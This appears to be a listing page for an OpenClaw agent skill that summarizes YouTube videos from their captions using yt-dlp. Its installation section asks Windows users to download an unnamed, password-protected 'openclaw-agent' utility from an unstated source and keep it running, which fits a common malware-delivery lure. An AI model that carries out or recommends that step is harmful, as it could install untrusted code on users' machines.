youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Automate your video research with the OpenClaw YouTube Summarizer. Extract transcripts, clean subtitles, and get concise summaries of long videos instantly.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-mnoqmWhat This Skill Does
The youtube-summarize skill is a powerful OpenClaw agent capability designed to transform long-form video content into actionable, text-based insights. By leveraging the industry-standard yt-dlp tool combined with the openclaw-agent utility, this skill programmatically extracts, cleans, and structures YouTube captions. It allows users to bypass the time-consuming process of watching hour-long videos, instead providing a text-based summary of key takeaways, main arguments, and metadata. This tool is essential for researchers, students, and professionals who need to synthesize information from video lectures, technical tutorials, or long-form interviews quickly and efficiently.
Installation
Installation requires two primary components: the agent-side infrastructure and the CLI dependencies. First, ensure the openclaw-agent utility is running on your local machine; on Windows, download the specific utility (password 'openclaw'), or follow the bash instructions for macOS. Second, install yt-dlp via pip (pip install yt-dlp). This utility serves as the backbone for fetching caption data. Once installed, the skill can be added to your OpenClaw environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-mnoqm.
Use Cases
This skill is highly versatile. You can use it to summarize lengthy technical tutorials to find specific implementation steps, extract meeting notes from recorded webinars, or create blog posts based on video interviews. It is also an excellent tool for content creators looking to quickly index or analyze competitor video content for topic research and keyword extraction.
Example Prompts
- "Analyze this video link [URL] and provide a bulleted summary of the three most important points discussed by the speaker."
- "Extract the transcript from this lecture [URL] and write a one-paragraph abstract that explains the core thesis of the presentation."
- "Using the metadata from [URL], give me the channel name, video title, and a brief description of the technical concepts covered."
Tips & Limitations
Note that this skill relies on the availability of captions. Videos without generated or manual subtitles will not yield transcript data. Additionally, very long videos (over 2 hours) may hit context limits when processed by LLMs, so it is often better to ask for specific segments if the video is extremely long. Always ensure you are running the latest version of yt-dlp to maintain compatibility with YouTube's frequently changing structural updates.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-mnoqm": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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